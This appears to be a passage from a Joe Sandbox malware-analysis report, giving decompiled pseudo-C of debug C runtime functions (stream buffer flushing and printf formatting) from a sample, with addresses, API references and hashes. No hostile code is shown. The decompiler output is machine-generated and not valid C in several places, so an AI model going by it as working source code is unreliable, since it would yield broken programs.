							_push(L"(\"inconsistent IOB fields\", stream->_ptr - stream->_base >= 0)");
							_push(0);
							_push(0xa0);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\_flsbuf.c");
							_push(2);
							_t119 = L0041E420();
							_t197 = _t197 + 0x14;
							if(_t119 == 1) {
								asm("int3");
							}
						}
						 *(_t195 - 4) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) -  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8));
						 *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)) + 2;
						 *( *((intOrPtr*)(_t195 - 8)) + 4) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 0x18)) - 2;
						if( *(_t195 - 4) <= 0) {
							if( *(_t195 - 0x10) == 0xffffffff ||  *(_t195 - 0x10) == 0xfffffffe) {
								 *((intOrPtr*)(_t195 - 0x18)) = 0x440f40;
							} else {
								 *((intOrPtr*)(_t195 - 0x18)) = (( *(_t195 - 0x10) & 0x0000001f) << 6) +  *((intOrPtr*)(0x55b840 + ( *(_t195 - 0x10) >> 5) * 4));
							}
							_t68 =  *((intOrPtr*)(_t195 - 0x18)) + 4; // 0xa80
							_t152 =  *_t68 & 0x00000020;
							if(( *_t68 & 0x00000020) == 0) {
								goto L23;
							} else {
								_t179 =  *(_t195 - 0x10);
								 *(_t195 - 0x20) = E00432D60(_t152, _t179, _t179, 0, 0, 2);
								 *(_t195 - 0x1c) = _t179;
								if(( *(_t195 - 0x20) &  *(_t195 - 0x1c)) != 0xffffffff) {
									goto L23;
								}
								 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
								_t104 = 0xffff;
								goto L28;
							}
						} else {
							 *(_t195 - 0xc) = E004330A0( *((intOrPtr*)(_t195 - 8)),  *(_t195 - 0x10),  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)),  *(_t195 - 4));
							L23:
							 *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)))) =  *(_t195 + 8) & 0x0000ffff;
							goto L25;
						}
					}
					if( *((intOrPtr*)(_t195 - 8)) == E00426690() + 0x20 ||  *((intOrPtr*)(_t195 - 8)) == E00426690() + 0x40) {
						_t136 =  *(_t195 - 0x10);
						_t122 = E00433ED0(_t130,  *(_t195 - 0x10), _t193, _t194,  *(_t195 - 0x10));
						_t197 = _t197 + 4;
						if(_t122 != 0) {
							goto L10;
						}
						goto L9;
					} else {
						L9:
						E00433E10(_t136,  *((intOrPtr*)(_t195 - 8)));
						_t197 = _t197 + 4;
						goto L10;
					}
				} else {
					 *( *((intOrPtr*)(_t195 - 8)) + 4) = 0;
					if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000010) == 0) {
						 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
						_t104 = 0xffff;
						L28:
						return _t104;
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8));
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0xfffffffe;
					goto L5;
				}
			}

0x0043d48d
0x0043d4d9
0x0043d4e5
0x0043d4f4
0x0043d4fa
0x0043d501
0x0043d508
0x0043d50b
0x0043d519
0x0043d551
0x0043d55d
0x0043d665
0x0043d675
0x0043d68d
0x0043d690
0x0043d696
0x0043d6b1
0x0043d698
0x0043d6a4
0x0043d6a7
0x0043d6a7
0x00000000
0x0043d696
0x0043d56e
0x0043d570
0x0043d575
0x0043d577
0x0043d57c
0x0043d581
0x0043d583
0x0043d588
0x0043d58e
0x0043d590
0x0043d590
0x0043d58e
0x0043d59c
0x0043d5ab
0x0043d5b9
0x0043d5c0
0x0043d5e2
0x0043d605
0x0043d5ea
0x0043d600
0x0043d600
0x0043d60f
0x0043d613
0x0043d616
0x00000000
0x0043d618
0x0043d61e
0x0043d62a
0x0043d62d
0x0043d639
0x00000000
0x00000000
0x0043d647
0x0043d64a
0x00000000
0x0043d64a
0x0043d5c2
0x0043d5d9
0x0043d651
0x0043d660
0x00000000
0x0043d660
0x0043d5c0
0x0043d526
0x0043d535
0x0043d539
0x0043d53e
0x0043d543
0x00000000
0x00000000
0x00000000
0x0043d545
0x0043d545
0x0043d549
0x0043d54e
0x00000000
0x0043d54e
0x0043d48f
0x0043d492
0x0043d4a2
0x0043d4cc
0x0043d4cf
0x0043d6b6
0x0043d6b9
0x0043d6b9
0x0043d4ad
0x0043d4bb
0x00000000
0x0043d4bb

APIs

__isatty.LIBCMTD ref: 0043D539
__getbuf.LIBCMTD ref: 0043D549
__write.LIBCMTD ref: 0043D5D1

Strings

("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 0043D570
f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 0043D57C

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: 64080dcf8a9839b88a5f72092980c2ecbb4a5b58109d2a22cc529bd38bf0d299
Instruction ID: 913e1c89ab36d036da99e601c6e7bef158c183bc619b09b7f672d30b52d19fca
Opcode Fuzzy Hash: 64080dcf8a9839b88a5f72092980c2ecbb4a5b58109d2a22cc529bd38bf0d299
Instruction Fuzzy Hash: F951D975E00208EFDB14CF94D495A6DFBB2FF88324F148299E449AB395D634EA81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 004269D1, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E004269D1() {
				signed int _t102;
				signed int _t104;
				signed int _t114;
				void* _t118;
				void* _t121;
				signed int _t126;
				void* _t129;
				signed int _t174;
				void* _t188;
				void* _t189;
				void* _t190;
				void* _t192;

				if(( *( *(_t190 - 8) + 0xc) & 0x00000001) == 0) {
					L5:
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) | 0x00000002;
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) & 0xffffffef;
					 *( *(_t190 - 8) + 4) = 0;
					 *(_t190 - 4) = 0;
					_t135 =  *(_t190 - 4);
					 *(_t190 - 0xc) =  *(_t190 - 4);
					if(( *( *(_t190 - 8) + 0xc) & 0x0000010c) != 0) {
						L10:
						if(( *( *(_t190 - 8) + 0xc) & 0x00000108) == 0) {
							 *(_t190 - 4) = 1;
							 *(_t190 - 0xc) = E004330A0( *(_t190 - 4),  *(_t190 - 0x10), _t190 + 8,  *(_t190 - 4));
							L25:
							if( *(_t190 - 0xc) ==  *(_t190 - 4)) {
								_t102 =  *(_t190 + 8) & 0x000000ff;
							} else {
								_t104 =  *( *(_t190 - 8) + 0xc) | 0x00000020;
								 *( *(_t190 - 8) + 0xc) = _t104;
								_t102 = _t104 | 0xffffffff;
							}
							goto L28;
						}
						if( *( *(_t190 - 8)) -  *((intOrPtr*)( *(_t190 - 8) + 8)) < 0) {
							_push(L"(\"inconsistent IOB fields\", stream->_ptr - stream->_base >= 0)");
							_push(0);
							_push(0xa0);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\_flsbuf.c");
							_push(2);
							_t118 = L0041E420();
							_t192 = _t192 + 0x14;
							if(_t118 == 1) {
								asm("int3");
							}
						}
						 *(_t190 - 4) =  *( *(_t190 - 8)) -  *((intOrPtr*)( *(_t190 - 8) + 8));
						 *( *(_t190 - 8)) =  *((intOrPtr*)( *(_t190 - 8) + 8)) + 1;
						 *( *(_t190 - 8) + 4) =  *((intOrPtr*)( *(_t190 - 8) + 0x18)) - 1;
						if( *(_t190 - 4) <= 0) {
							if( *(_t190 - 0x10) == 0xffffffff ||  *(_t190 - 0x10) == 0xfffffffe) {
								 *((intOrPtr*)(_t190 - 0x14)) = 0x440f40;
							} else {
								 *((intOrPtr*)(_t190 - 0x14)) = (( *(_t190 - 0x10) & 0x0000001f) << 6) +  *((intOrPtr*)(0x55b840 + ( *(_t190 - 0x10) >> 5) * 4));
							}
							_t68 =  *((intOrPtr*)(_t190 - 0x14)) + 4; // 0xa80
							_t149 =  *_t68 & 0x00000020;
							if(( *_t68 & 0x00000020) == 0) {
								goto L23;
							} else {
								_t174 =  *(_t190 - 0x10);
								 *(_t190 - 0x1c) = E00432D60(_t149, _t174, _t174, 0, 0, 2);
								 *(_t190 - 0x18) = _t174;
								if(( *(_t190 - 0x1c) &  *(_t190 - 0x18)) != 0xffffffff) {
									goto L23;
								}
								_t114 =  *(_t190 - 8);
								 *(_t114 + 0xc) =  *( *(_t190 - 8) + 0xc) | 0x00000020;
								_t102 = _t114 | 0xffffffff;
								goto L28;
							}
						} else {
							 *(_t190 - 0xc) = E004330A0( *(_t190 - 8),  *(_t190 - 0x10),  *((intOrPtr*)( *(_t190 - 8) + 8)),  *(_t190 - 4));
							L23:
							 *((char*)( *((intOrPtr*)( *(_t190 - 8) + 8)))) =  *(_t190 + 8);
							goto L25;
						}
					}
					if( *(_t190 - 8) == E00426690() + 0x20 ||  *(_t190 - 8) == E00426690() + 0x40) {
						_t135 =  *(_t190 - 0x10);
						_t121 = E00433ED0(_t129,  *(_t190 - 0x10), _t188, _t189,  *(_t190 - 0x10));
						_t192 = _t192 + 4;
						if(_t121 != 0) {
							goto L10;
						}
						goto L9;
					} else {
						L9:
						E00433E10(_t135,  *(_t190 - 8));
						_t192 = _t192 + 4;
						goto L10;
					}
				} else {
					 *( *(_t190 - 8) + 4) = 0;
					if(( *( *(_t190 - 8) + 0xc) & 0x00000010) == 0) {
						_t126 =  *(_t190 - 8);
						 *( *(_t190 - 8) + 0xc) =  *(_t126 + 0xc) | 0x00000020;
						_t102 = _t126 | 0xffffffff;
						L28:
						return _t102;
					}
					 *( *(_t190 - 8)) =  *((intOrPtr*)( *(_t190 - 8) + 8));
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) & 0xfffffffe;
					goto L5;
				}
			}

0x00426a09
0x00426a53
0x00426a5f
0x00426a6e
0x00426a74
0x00426a7b
0x00426a82
0x00426a85
0x00426a93
0x00426acb
0x00426ad7
0x00426bd6
0x00426bf1
0x00426bf4
0x00426bfa
0x00426c13
0x00426bfc
0x00426c02
0x00426c08
0x00426c0b
0x00426c0b
0x00000000
0x00426bfa
0x00426ae8
0x00426aea
0x00426aef
0x00426af1
0x00426af6
0x00426afb
0x00426afd
0x00426b02
0x00426b08
0x00426b0a
0x00426b0a
0x00426b08
0x00426b16
0x00426b25
0x00426b33
0x00426b3a
0x00426b5c
0x00426b7f
0x00426b64
0x00426b7a
0x00426b7a
0x00426b89
0x00426b8d
0x00426b90
0x00000000
0x00426b92
0x00426b98
0x00426ba4
0x00426ba7
0x00426bb3
0x00000000
0x00000000
0x00426bbe
0x00426bc1
0x00426bc4
0x00000000
0x00426bc4
0x00426b3c
0x00426b53
0x00426bc9
0x00426bd2
0x00000000
0x00426bd2
0x00426b3a
0x00426aa0
0x00426aaf
0x00426ab3
0x00426ab8
0x00426abd
0x00000000
0x00000000
0x00000000
0x00426abf
0x00426abf
0x00426ac3
0x00426ac8
0x00000000
0x00426ac8
0x00426a0b
0x00426a0e
0x00426a1e
0x00426a3c
0x00426a48
0x00426a4b
0x00426c18
0x00426c1b
0x00426c1b
0x00426a29
0x00426a37
0x00000000
0x00426a37

APIs

__isatty.LIBCMTD ref: 00426AB3
__getbuf.LIBCMTD ref: 00426AC3
__write.LIBCMTD ref: 00426B4B

Strings

("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 00426AEA
f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 00426AF6

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: e099a88fcb4db35d6a5e9089101c9f3d5217fd82cdc495e31c6b4d650f41cb7c
Instruction ID: 2147ec88a544a585e5214f85cfcd41cdf53aebfb4453de3464b7b1e8bcbe465f
Opcode Fuzzy Hash: e099a88fcb4db35d6a5e9089101c9f3d5217fd82cdc495e31c6b4d650f41cb7c
Instruction Fuzzy Hash: E1510A74B00218EFDB04CF94D491AADFBB2FF88324F15C299D445AB385D635AA81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00435044, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00435044(void* __ebx, void* __edi, void* __esi) {
				signed int _t499;
				void* _t504;
				signed int _t506;
				void* _t526;
				void* _t528;
				signed int _t536;
				void* _t555;
				void* _t556;
				signed int _t557;
				void* _t559;

				L0:
				while(1) {
					L0:
					_t556 = __esi;
					_t555 = __edi;
					_t528 = __ebx;
					 *(_t557 - 0x30) = 8;
					while(1) {
						L146:
						 *(__ebp - 0x260) = 7;
						while(1) {
							L148:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								 *(__ebp - 0x14) = 0x30;
								 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
								__eflags =  *(__ebp - 0x260) + 0x51;
								 *((char*)(__ebp - 0x13)) = __al;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L153:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E00428400(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428400(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E00428400(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
												 *(__ebp - 0x2b4) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428400(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x2b8) = __eax;
												 *(__ebp - 0x2b4) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x2b8) = E00428420(__ebp + 0x14);
										 *(__ebp - 0x2b4) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x2b8) = E00428420(__ebp + 0x14);
									 *(__ebp - 0x2b4) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L170;
								}
								L166:
								__eflags =  *(__ebp - 0x2b4);
								if(__eflags > 0) {
									goto L170;
								}
								L167:
								if(__eflags < 0) {
									L169:
									 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
									__edx =  *(__ebp - 0x2b4);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x2b4));
									 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
									 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L171:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x2c0);
											__eax =  *(__ebp - 0x2bc);
											__eax =  *(__ebp - 0x2bc) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x2bc) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x49;
									 *(__ebp - 4) = __ebp - 0x49;
									while(1) {
										L181:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L183;
										}
										L182:
										 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
										__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
										if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
											L186:
											__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L190:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L216;
													}
													L191:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	 *(__ebp - 0x14) = 0x20;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																 *(__ebp - 0x14) = 0x2b;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2d;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x2c4) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2c4);
														__eax = E004357C0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
													}
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E00435800( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x24c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x2c4);
															__eax = E004357C0(0x30,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) == 0) {
														L212:
														__ecx = __ebp - 0x24c;
														__edx =  *(__ebp + 8);
														__eax =  *(__ebp - 0x24);
														__ecx =  *(__ebp - 4);
														__eax = E00435800(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
														goto L213;
													} else {
														L204:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L212;
														}
														L205:
														 *(__ebp - 0x2dc) = 0;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x2c8) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x2cc) =  *(__ebp - 0x24);
														while(1) {
															L206:
															__ecx =  *(__ebp - 0x2cc);
															 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
															 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L207:
															__eax =  *(__ebp - 0x2c8);
															 *(__ebp - 0x32e) =  *( *(__ebp - 0x2c8));
															__edx =  *(__ebp - 0x32e) & 0x0000ffff;
															__eax = __ebp - 0x2d8;
															__ecx = __ebp - 0x2d0;
															 *(__ebp - 0x2dc) = E004342D0(__ebp - 0x2d0, __ebp - 0x2d8, 6,  *(__ebp - 0x32e) & 0x0000ffff);
															 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
															 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
															__eflags =  *(__ebp - 0x2dc);
															if( *(__ebp - 0x2dc) != 0) {
																L209:
																 *(__ebp - 0x24c) = 0xffffffff;
																break;
															}
															L208:
															__eflags =  *(__ebp - 0x2d0);
															if( *(__ebp - 0x2d0) != 0) {
																L210:
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2d0);
																__ebp - 0x2d8 = E00435800( *(__ebp + 8), __ebp - 0x2d8,  *(__ebp - 0x2d0),  *(__ebp + 8), __ebp - 0x24c);
																continue;
															}
															goto L209;
														}
														L211:
														L213:
														__eflags =  *(__ebp - 0x24c);
														if( *(__ebp - 0x24c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2c4);
																__eax = E004357C0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
															}
														}
													}
													L216:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														 *(__ebp - 0x20) = L0041C5E0( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L218:
														 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
														_t547 =  *(_t557 - 0x251);
														 *(_t557 + 0xc) =  *(_t557 + 0xc) + 1;
														if( *(_t557 - 0x251) == 0 ||  *(_t557 - 0x24c) < 0) {
															break;
														} else {
															if( *(_t557 - 0x251) < 0x20 ||  *(_t557 - 0x251) > 0x78) {
																 *(_t557 - 0x310) = 0;
															} else {
																 *(_t557 - 0x310) =  *( *(_t557 - 0x251) +  &M00407E18) & 0xf;
															}
														}
														L7:
														 *(_t557 - 0x250) =  *(_t557 - 0x310);
														_t506 =  *(_t557 - 0x250) * 9;
														_t536 =  *(_t557 - 0x25c);
														_t547 = ( *(_t506 + _t536 + 0x407e38) & 0x000000ff) >> 4;
														 *(_t557 - 0x25c) = ( *(_t506 + _t536 + 0x407e38) & 0x000000ff) >> 4;
														if( *(_t557 - 0x25c) != 8) {
															L16:
															 *(_t557 - 0x318) =  *(_t557 - 0x25c);
															__eflags =  *(_t557 - 0x318) - 7;
															if( *(_t557 - 0x318) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t557 - 0x318) * 4 +  &M00435610))) {
																case 0:
																	L18:
																	 *(_t557 - 0xc) = 0;
																	_t509 = E004312C0( *(_t557 - 0x251) & 0x000000ff, E0041AEF0(_t557 - 0x40));
																	_t562 = _t559 + 8;
																	__eflags = _t509;
																	if(_t509 == 0) {
																		L24:
																		E00435720( *(_t557 - 0x251) & 0x000000ff,  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																		_t559 = _t562 + 0xc;
																		goto L218;
																	} else {
																		E00435720( *((intOrPtr*)(_t557 + 8)),  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																		_t562 = _t562 + 0xc;
																		_t541 =  *( *(_t557 + 0xc));
																		 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
																		_t547 =  *(_t557 + 0xc) + 1;
																		__eflags = _t547;
																		 *(_t557 + 0xc) = _t547;
																		asm("sbb eax, eax");
																		 *(_t557 - 0x27c) =  ~( ~( *(_t557 - 0x251)));
																		if(_t547 == 0) {
																			_push(L"(ch != _T(\'\\0\'))");
																			_push(0);
																			_push(0x486);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			_t521 = L0041E420();
																			_t562 = _t562 + 0x14;
																			__eflags = _t521 - 1;
																			if(_t521 == 1) {
																				asm("int3");
																			}
																		}
																		L22:
																		__eflags =  *(_t557 - 0x27c);
																		if( *(_t557 - 0x27c) != 0) {
																			goto L24;
																		} else {
																			 *((intOrPtr*)(L00422F10(_t541))) = 0x16;
																			E00422CA0(_t528, _t541, _t555, _t556, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																			 *(_t557 - 0x2f4) = 0xffffffff;
																			E0041AEC0(_t557 - 0x40);
																			_t499 =  *(_t557 - 0x2f4);
																			goto L229;
																		}
																	}
																case 1:
																	L25:
																	 *(__ebp - 0x2c) = 0;
																	__edx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																	__eax =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__ecx =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) = __ecx;
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L218;
																case 2:
																	L26:
																	__edx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
